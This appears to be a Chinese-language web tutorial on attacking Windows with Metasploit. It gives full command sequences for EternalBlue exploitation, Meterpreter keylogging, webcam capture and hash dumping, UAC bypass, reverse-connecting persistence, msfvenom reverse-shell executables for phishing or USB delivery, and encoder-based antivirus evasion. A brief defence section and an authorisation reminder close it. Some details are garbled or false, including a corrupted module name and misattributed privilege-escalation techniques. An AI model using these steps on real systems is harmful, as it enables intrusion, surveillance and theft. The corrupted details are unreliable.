Metasploit 攻击 Windows 实战指南与详细使用

Metasploit Framework 是一个强大的开源渗透测试工具,它包含了大量的漏洞利用模块、payloads、编码器和辅助工具,是安全专业人士进行安全评估和漏洞研究的重要武器。本指南将聚焦于使用 Metasploit 对 Windows 系统进行攻击的实战过程,从信息收集到最终的权限提升。

第一部分:Metasploit 基础概念与准备

1. Metasploit Framework 简介

  • 是什么? 一个用于开发、测试和执行漏洞利用代码的框架。
  • 主要组成部分:
    • Exploits (漏洞利用): 用于利用系统或应用程序中存在的特定漏洞的代码。
    • Payloads (载荷): 在目标系统上执行的代码,可以是反向连接 Shell(Meterpreter)、命令执行等。
    • Encoders (编码器): 用于编码 payloads,以绕过一些简单的入侵检测系统 (IDS) 或杀毒软件。
    • Nops (空指令): 用于填充缓冲区,确保 exploit 的正确执行。
    • Auxiliary Modules (辅助模块): 用于扫描、枚举、拒绝服务攻击等非 exploit 目的的模块。
    • Post-Exploitation Modules (后渗透模块): 在获得目标系统访问权限后,用于进一步信息收集、权限提升、持久化等操作的模块。
  • 核心工作流程:
    1. 目标信息收集: 确定目标 IP 地址、操作系统、开放服务等。
    2. 漏洞扫描与识别: 寻找目标系统上可利用的漏洞。
    3. 选择并配置 Exploit: 选择合适的漏洞利用模块,并配置攻击参数。
    4. 选择并配置 Payload: 选择适合的 payload,并配置其连接方式。
    5. 执行攻击: 发送 exploit 和 payload 到目标。
    6. 建立会话 (Session): 如果攻击成功,将获得与目标系统的交互会话。
    7. 后渗透操作: 在获得会话后进行进一步操作。

2. 环境搭建

为了安全地进行实践,建议使用以下环境:

  • 攻击机 (Attacker Machine):
    • 操作系统: Kali Linux 是最常用的选择,它预装了 Metasploit Framework 和许多其他安全工具。也可以在 Ubuntu、Debian 等 Linux 发行版上安装。
    • Metasploit 安装: Kali Linux 自带,其他系统可参考官方文档进行安装:https://www.metasploit.com/get-started/install
  • 目标机 (Victim Machine):
    • 操作系统: Windows 操作系统。建议使用易受攻击的旧版本 Windows(如 Windows XP, Windows 7, Windows Server 2003/2008)用于学习,它们存在许多已知且易于利用的漏洞。在现代 Windows 系统上进行测试需要更复杂的技巧来绕过各种安全机制。
    • 网络配置: 攻击机和目标机需要位于同一个局域网内,或者通过路由可达。可以使用 VirtualBox, VMware 等虚拟机软件来创建隔离的测试环境,将攻击机和目标机配置在同一个 Host-only 或 NAT Network 中。

3. 常用命令与基础操作

启动 Metasploit Framework:

msfconsole

进入 msfconsole 后,您将看到一个提示符,通常是 msf6 >

常用命令:

  • help: 显示所有可用的命令。
  • search [keyword]: 搜索模块,例如 search windows smb
  • use [module_path]: 加载一个模块,例如 use exploit/windows/smb/ms17_010_eternalblue
  • show options: 显示当前加载模块的可用选项。
  • set [option_name] [value]: 设置模块选项,例如 set RHOSTS 192.168.1.100
  • show payloads: 显示当前 exploit 兼容的所有 payloads。
  • set PAYLOAD [payload_name]: 设置 payload,例如 set PAYLOAD windows/meterpreter/reverse_tcp
  • exploitrun: 执行当前配置好的 exploit。
  • sessions: 列出当前所有活动的会话。
  • sessions -i [session_id]: 进入指定 ID 的会话。
  • back: 返回到上一级菜单(从模块中退出)。
  • exit: 退出 msfconsole

第二部分:Windows 攻击实战场景与详细步骤

我们将通过一个经典的漏洞利用场景来演示 Metasploit 的使用,例如利用 MS17-010 (EternalBlue) 漏洞。

场景:利用 MS17-010 (EternalBlue) 漏洞获取 Windows 7 的 Meterpreter 会话

MS17-010 是一个影响多个 Windows 版本的 SMB 漏洞,允许远程代码执行。

步骤 1: 信息收集 (Information Gathering)

在进行任何攻击之前,了解目标系统是至关重要的。

  • 目标 IP 地址: 假设目标 Windows 7 系统的 IP 地址是 192.168.1.100
  • 扫描目标: 使用 Nmap 来发现目标主机和开放端口。

    在攻击机的终端中执行:

    nmap -sV -O -p- 192.168.1.100
    
    • -sV: 探测服务版本。
    • -O: 尝试检测操作系统。
    • -p-: 扫描所有 65535 个端口。

    Nmap 的输出会告诉我们哪些端口是开放的,以及运行的服务及其版本。对于 MS17-010,我们关心的是 SMB 端口 445。

    假设 Nmap 输出显示端口 445 (microsoft-ds) 是开放的,并且操作系统是 Windows 7。

步骤 2: 搜索并加载 Exploit 模块

现在我们知道目标可能存在 MS17-010 漏洞,我们可以搜索 Metasploit 中的相应模块。

msfconsole
msf6 > search eternalblue

搜索结果会显示相关的模块,其中最常用的是 exploit/windows/smb/ms17_010_eternalblue

msf6 > use exploit/windows/smb/ms17_010_eternalblue

步骤 3: 配置 Exploit 模块选项

加载模块后,我们需要配置必要的选项。

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

您会看到类似以下的选项:

Name Current Setting Required Description
RHOSTS yes The target IP address or range
RPORT 445 yes The target port (SMB)
PAYLOAD yes The payload to use
LHOST 0.0.0.0 yes The local IP address to listen on
LPORT 4444 yes The local port to listen on
SMBPIECES 10 no Number of SMB pieces to send (for reliability)
THREADS 1 no Number of threads to use for exploit
VERBOSE false no Enable detailed output
WfsHost no The target’s Windows File Share host
ExitOnSession true no Exit the exploit automatically after session creation

关键选项配置:

  • RHOSTS: 设置目标机的 IP 地址。
    msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.100
    
  • RPORT: 保持默认的 445,除非目标 SMB 服务监听在其他端口。
  • PAYLOAD: 选择一个合适的 payload。windows/x64/meterpreter/reverse_tcpwindows/meterpreter/reverse_http 是常用的选择。meterpreter 提供了强大的交互式 shell 功能。这里我们选择 reverse_tcp
    msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
    

    *注意:* 如果目标系统是 32 位,则需要选择 `windows/meterpreter/reverse_tcp`。您可以通过 `show payloads` 命令查看所有兼容的 payload。

  • LHOST: 设置攻击机(您的 Kali Linux)的 IP 地址。确保目标机能够连接回这个 IP 地址。例如,如果您的 Kali IP 是 192.168.1.50
    msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.50
    
  • LPORT: 设置攻击机监听的端口。默认 4444 通常是可用的,但如果您想使用其他端口,可以修改。

    最后,查看所有设置是否正确:

    msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
    

步骤 4: 执行 Exploit

配置完成后,执行 exploit。

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

或者

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

Metasploit 会尝试利用漏洞。如果成功,您会看到如下输出:

[*] Started reverse TCP handler on 192.168.1.50:4444
[*] Performing SMB handshake
[*] Connecting to the target using SMB
[*] Using target: Windows 7 SP1 (64-bit)
[*] Detected SMB session 1 with session ID 1
[*] Target is vulnerable.
[*] Sending stage (197367 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.100:49171) at 2023-10-27 10:30:00 +0800

meterpreter >

此时,您已成功获得一个 Meterpreter 会话。meterpreter > 提示符表示您正在与目标系统进行交互。

步骤 5: Meterpreter 后渗透操作 (Post-Exploitation)

Meterpreter 提供了一系列强大的命令来探索和控制目标系统。

常用 Meterpreter 命令:

  • help: 显示 Meterpreter 命令。
  • sysinfo: 显示目标系统的详细信息(操作系统版本、架构等)。
  • getuid: 显示当前用户 ID。
  • pwd: 显示当前工作目录。
  • ls: 列出当前目录下的文件。
  • cd [directory]: 切换目录。
  • upload [local_file] [remote_path]: 上传文件到目标。
  • download [remote_file] [local_path]: 下载文件到攻击机。
  • shell: 切换到目标系统的原生命令行 shell (cmd.exe)。
  • ps: 列出目标系统上的所有进程。
  • migrate [pid]: 将 Meterpreter 进程迁移到另一个进程(例如一个更稳定的系统进程),以避免原进程崩溃导致会话丢失。
  • getprivs: 尝试获取更高的用户权限。
  • hashdump: 尝试转储目标系统的用户密码哈希(需要管理员权限)。
  • screenshot: 截屏目标系统的屏幕。
  • webcam_snap: 使用目标系统的摄像头拍照。
  • keyscan_start: 开始记录键盘输入。
  • keyscan_dump: 显示记录的键盘输入。
  • keyscan_stop: 停止键盘记录。
  • run [post_module]: 运行 Meterpreter 脚本或后渗透模块。

示例操作:

  1. 查看系统信息:
    meterpreter > sysinfo
    
  2. 查看当前用户:
    meterpreter > getuid
    

    如果 `getuid` 显示 `NT AUTHORITY\SYSTEM`,则您已获得最高权限。否则,您可能需要进行权限提升。

  3. 列出文件并下载:
    meterpreter > ls
    meterpreter > cd C:\Users\Public
    meterpreter > download important_file.txt C:/Users/YourKaliUser/Desktop/
    
  4. 切换到原生 Shell:
    meterpreter > shell
    Microsoft Windows [Version 6.1.7601]
    Copyright (c) 2009 Microsoft Corporation. All rights reserved.
    
    C:\Windows\system32>
    

    cmd.exe 中操作完成后,输入 exit 可以返回 Meterpreter 会话。

步骤 6: 权限提升 (Privilege Escalation)

如果当前用户权限不足以执行某些操作(例如 hashdump),您需要进行权限提升。

  • 使用 Metasploit 的 post/windows/gather/checkvm 模块: 检查是否为虚拟机。
  • 使用 post/windows/gather/memory_increaser: 尝试增加进程内存以进行一些漏洞利用。
  • 使用 exploit/windows/local/ 模块: Metasploit 中有很多本地提权漏洞利用模块,例如:
    • exploit/windows/local/bypassuac_avrf: bypass UAC 的常用模块。
    • exploit/windows/local/ms16_098_ செயंत: 一个本地权限提升漏洞利用。
    • EternalRocks / RottenSys: 一些更复杂的提权技术,可能需要单独下载和集成。

    提权流程示例(以 bypass UAC 为例):

    1. 搜索 bypass UAC 模块:
      msf6 exploit(windows/smb/ms17_010_eternalblue) > back
      msf6 > search bypassuac
      
    2. 选择一个提权模块(例如 exploit/windows/local/bypassuacexploit/windows/local/bypassuac_injection 等):
      msf6 > use exploit/windows/local/bypassuac_injection
      
    3. 配置提权模块:
      • SESSION: 指定要提权的 Meterpreter 会话 ID。
      • TARGETSESSION: 指定提权后要使用的 payload 及其 LHOST/LPORT(通常与原 Payload 相同,或使用 reverse_meterpreter 以确保获得新的高权限会话)。
        msf6 exploit(windows/local/bypassuac_injection) > show options
        msf6 exploit(windows/local/bypassuac_injection) > set SESSION 1
        msf6 exploit(windows/local/bypassuac_injection) > set TARGETSESSION 2 # 假设我们想创建一个新的 Meterpreter 会话
        msf6 exploit(windows/local/bypassuac_injection) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
        msf6 exploit(windows/local/bypassuac_injection) > set LHOST 192.168.1.50
        msf6 exploit(windows/local/bypassuac_injection) > set LPORT 4444
        
    4. 执行提权:
      msf6 exploit(windows/local/bypassuac_injection) > exploit
      

      如果成功,您将获得一个拥有更高权限的新 Meterpreter 会话。您可以通过 `sessions -l` 查看并使用 `sessions -i [new_session_id]` 进入。

步骤 7: 持久化 (Persistence)

为了在目标系统重启后仍能保持访问权限,可以设置持久化机制。

  • 使用 Metasploit 的 post/windows/manage/enable_rdp: 启用远程桌面。
  • 使用 post/windows/manage/persistence: 创建一个自动运行的 Meterpreter payload。
  • 手动创建启动项、计划任务等。

    使用 persistence 模块示例:

    1. 进入 Meterpreter 会话:
      msf6 > sessions -i 1
      
    2. 运行 persistence 模块:
      meterpreter > run persistence -U -i 5 -p 4444 -r 192.168.1.50
      
      • -U: 使 payload 在用户登录时自动启动。
      • -i 5: 尝试连接 5 次,每次间隔 5 秒(可调整)。
      • -p 4444: 指定 Payload 使用的端口。
      • -r 192.168.1.50: 指定攻击机的 IP 地址。

    在目标机器重启后,如果 persistence 模块成功配置了启动项,当攻击机监听的端口收到连接时,就会建立新的 Meterpreter 会话。

第三部分:其他常用攻击技术与进阶

1. 针对特定服务的攻击

  • HTTP/HTTPS: exploit/windows/http/... (例如,针对 IIS, Apache 等 Web 服务器的漏洞)
  • RDP: exploit/windows/rdp/... (例如,某些 RDP 客户端或服务器的漏洞)
  • FTP, SMB, SSH: exploit/windows/smb/..., exploit/windows/ftp/..., exploit/windows/ssh/... 等。
  • SQL Server: exploit/windows/mssql/...

2. 密码攻击

  • Auxiliary 模块:
    • auxiliary/scanner/smb/smb_login: 尝试爆破 SMB 登录密码。
    • auxiliary/scanner/winrm/winrm_login: 尝试爆破 WinRM 登录密码。
    • auxiliary/scanner/rdp/ms12_020_rdp_login: 针对某些 RDP 认证漏洞。
  • Payloads: 使用 windows/gather/hashdump 获取哈希后,使用 John the RipperHashcat 进行离线破解。

3. 客户端攻击 (Client-Side Attacks)

  • 社会工程学:
    • 生成恶意 Office 文档或 PDF: 使用 exploit/windows/fileformat/...exploit/windows/misc/hta_server
    • 生成恶意 EXE 文件: 使用 msfvenom 生成后,通过钓鱼邮件或 U 盘分发。
    • 监听 HTTP/HTTPS 请求: 使用 auxiliary/server/capture/httpauxiliary/server/capture/smb
  • 生成 Payload: msfvenom 是 Metasploit 中用于生成各种 payload 的独立工具,非常灵活。

    msfvenom 使用示例:

    # 生成一个 Windows x64 反向 TCP Meterpreter payload
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe
    
    # 生成一个反向 HTTP Meterpreter payload,支持 stager
    msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.1.50 LPORT=8080 -f exe -o shell_http.exe
    
    # 生成一个 DLL payload
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f dll -o shell.dll
    

    生成 payload 后,需要将其上传到目标或诱骗用户执行。然后在 msfconsole 中启动一个监听器(Handler)来接收连接。

    设置监听器:

    msf6 > use exploit/multi/handler
    msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > set LHOST 192.168.1.50
    msf6 exploit(multi/handler) > set LPORT 4444
    msf6 exploit(multi/handler) > run
    

4. evasion (绕过检测)

  • 编码器 (Encoders): 使用 shikata_ga_nai 等编码器对 payload 进行编码,以尝试绕过基于签名的检测。
    msf6 exploit(windows/smb/ms17_010_eternalblue) > show encoders
    msf6 exploit(windows/smb/ms17_010_eternalblue) > set Encoder x86/shikata_ga_nai
    
  • 自定义 Payload: 使用 msfvenom 结合不同的 Encoder 和 Nops 生成更隐蔽的 payload。
  • 无文件攻击 (Fileless Attacks): 使用内存注入等技术,避免在磁盘上留下可疑文件。
  • 更新的漏洞利用: 使用最新发现的漏洞,这些漏洞可能尚未被安全软件识别。
  • 自定义脚本: 结合 Python、PowerShell 等编写自定义的攻击脚本。

第四部分:安全防护建议

了解攻击方式的同时,也必须了解如何防御:

  • 及时更新系统和应用程序补丁: 这是最重要的防御措施。
  • 使用强大的防火墙和入侵检测/防御系统 (IDS/IPS)。
  • 配置安全的密码策略和访问控制。
  • 限制不必要的服务开放。
  • 使用杀毒软件和端点检测与响应 (EDR) 解决方案。
  • 进行定期的安全审计和漏洞扫描。
  • 提高员工的安全意识,防范社会工程学攻击。
  • 禁用或限制 SMBv1 协议。

总结

本指南提供了一个使用 Metasploit 对 Windows 系统进行攻击的实战流程,从信息收集到获得 Meterpreter 会话,再到后渗透操作和权限提升。Metasploit 的强大之处在于其模块化和灵活性,允许安全专业人员针对不同的目标和漏洞场景进行定制化攻击。

再次强调: 学习和实践这些技术是为了更好地理解安全漏洞,从而构建更强大的防御体系。请始终在获得授权的测试环境中进行操作。

声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。